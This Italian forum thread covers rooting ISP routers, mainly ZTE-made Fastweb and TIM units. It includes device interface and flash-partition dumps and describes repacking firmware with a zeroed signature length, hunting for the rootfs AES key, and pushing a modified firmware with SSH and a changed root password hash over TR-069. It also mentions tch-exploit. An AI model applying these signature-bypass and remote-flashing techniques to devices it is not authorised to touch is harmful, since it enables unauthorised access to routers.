RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth1 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth2 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth3 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:710 errors:0 dropped:0 overruns:0 frame:0
TX packets:6760 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:75032 (73.2 KiB) TX bytes:1054753 (1.0 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:1688 (1.6 KiB) TX bytes:1688 (1.6 KiB)
nbif0 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
inet addr:10.0.120.100 Bcast:10.0.120.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:674 errors:0 dropped:0 overruns:0 frame:0
TX packets:6768 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:65914 (64.3 KiB) TX bytes:1027411 (1003.3 KiB)
nbif1 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
rasw Link encap:Ethernet HWaddr 00:00:AA:BB:CC:FF
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
wlan0 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:20
wlan5g0 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:44
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:21
dev: size erasesize name
mtd0: 1a000000 00040000 "Whole flash"
mtd1: 00080000 00040000 "Bootloader"
mtd2: 00080000 00040000 "wifi"
mtd3: 00080000 00040000 "tag"
mtd4: 00800000 00040000 "config"
mtd5: 00800000 00040000 "config1"
mtd6: 03200000 00040000 "kernel1"
mtd7: 03200000 00040000 "kernel2"
mtd8: 01400000 00040000 "status"
mtd9: 01e00000 00040000 "openwrtromfs1"
mtd10: 01e00000 00040000 "openwrtromfs2"
mtd11: 01e00000 00040000 "openwrtfs"
mtd12: 00f80000 00040000 "rootfs"
così com'è è a mio avviso inusabile. le interfacce sono tirate su da quel binario che configura un po' tutto.
sono molto tentato di cercare di avviare la partizione dedicata a openwrt ma la prospettiva di non avere un modo per de-brickarlo mi turba.
se qualche coraggioso vuole il fw modificato (è modificato a mano, pensateci bene) sono disponibile nei dm
-
Caspita, bel colpo, mi chiedo dunque se la stessa procedura possa essere fatta per il Tim Hub+ ZTE, è un peccato non avere più sotto mano questo giocattolo
-
mi chiedo dunque se la stessa procedura possa essere fatta per il Tim Hub+ ZTE
se qualcuno ha un firmware posso dare un'occhiata alla struttura
-
se qualcuno ha un firmware posso dare un'occhiata alla struttura
https://www.mediafire.com/file/y4u5lo0f1ku664u/AGZHP_1.2.1_CLOSED.bin/file
-
Si, confermo che l'header è identica. L'ho estratto nello stesso modo dell'H388Q di fastweb (meno che per l'endianness). La cosa antipatica rimane andare a cercare la procedura di generazione della chiave con cui è criptato il rootfs dentro il kernel. Dovrebbe essere possibile ricostruire immagini di aggiornamento patchate a patto che anche a questa versione vada bene ridurre la lunghezza della firma nell'header a 0 (sembra di si da una prima veloce occhiata ma non metterei la mano sul fuoco).
Il sistema è sempre lo stesso di zte con il binario cspd che fa un po' tutto
-
Aggiungo che https://github.com/sviehb/jefferson (https://github.com/sviehb/jefferson) fa fatica ad estrarre il rootfs nella sua interezza, in particolare crolla sui file in /dev (tutto il resto c'è, per farsi un'idea o cercare eventuali buchi va benissimo). Se volessimo però patchare il fw per darlo in pasto al cpe bisognerà usare qualcosa tipo mtdram.
-
Finalmente ho avuto qualche giorno per giocare con il cpe. (in realtà più con il suo firmware che con lui..) e sono root.
se qualche coraggioso vuole il fw modificato (è modificato a mano, pensateci bene) sono disponibile nei dm
È un firmware con ssh abilitato e basta?
-
È un firmware con ssh abilitato e basta?
dropbear ricompilato, hash della password root modificata e mount del devpts aggiunto nel file di inizializzazione del sistema
-
EDIT: Se qualcuno è interessato ho il firmware in formato .bin
Sono interessato anch'io, voglio studiarmi un pò il firmware. Sto guardando AGZHP_1.2.1_CLOSED.bin ma so che ci sono delle differenze rispetto al fw fastweb.
Ps. Il rootfs è cifrato, indicazioni su dove trovare la chiave?
-
@ilsalvopss
Non ho lo ZTE, possiedo il technicolor DGA4331 (rootato) però mi incuriosisce
il tch-exploit che crasha, anche perché per rootare il mio modem sotto Windows
ho lavorato molto per capire il funzionamento di quel programma.
A titolo di curiosità potresti postare quello che accade quando fai girare il tch-exploit?
Faccio alcune banalissime riflessioni pubbliche:
- Lo ZTE è stato protetto contro questo exploit? Anche se riflettendoci, bloccando
il protocollo tr-069 penso che risulterebbero impossibili gli upgrade a distanza
- Dall'errore, bisognerebbe capire se basta il tch-exploit "normale", su HTTP, magari corretto,
oppure se c'è la solita storia dell'HTTPS obbligatorio e di un dominio con le chiavi di let's encrypt
- E poi, il file.sts che realizza il root, (per intenderci quello che cambia passwd di root,
che setta il server sshd (dropbear) e gli apre il firewall) sarà valido o andrà modificato?
-
Non ho più il CPE a portata di mano ma questa strada era già stata esplorata da Lorenzo
Però se l'implementazione del client CWMP non è fallata come quella di tch da CWMP non hai modo di ottenere accesso come root. Bisogna vedere come è fatto il data-model di ZTE, cosa vi espone in più rispetto allo standard, che formato hanno i vendor config file, se i firimware sono firmati, ecc...
- Lo ZTE è stato protetto contro questo exploit? Anche se riflettendoci, bloccando
il protocollo tr-069 penso che risulterebbero impossibili gli upgrade a distanza
Il tr-069 c'è, naturalmente. L'ho anche usato per dargli in pasto il fw modificato nel root che descrivevo qualche messaggio più su.
-
@ilsalvopss sto analizzando la versione V7.0.0_R1_FW-25_ZTE del firmware in cerca della chiave AES per decrittare il rootfs. Ho estratto il kernel e caricato in IDA all'offset 0x80002000. L'unico AES inverse S-BOX che binwalk rileva è all'offset 0x7CD19C, che viene usato da RT_AES_Decrypt. Tuttavia, sembra che questa funziona venga usata solo dalle componenti kernel che implementano il wifi AP.
Come posso risalire alla funzione che decritta il rootfs e con che modalità questo viene decrittato all'avvio (es. caricato in un buffer e decrittato o tramite dm-crypt)?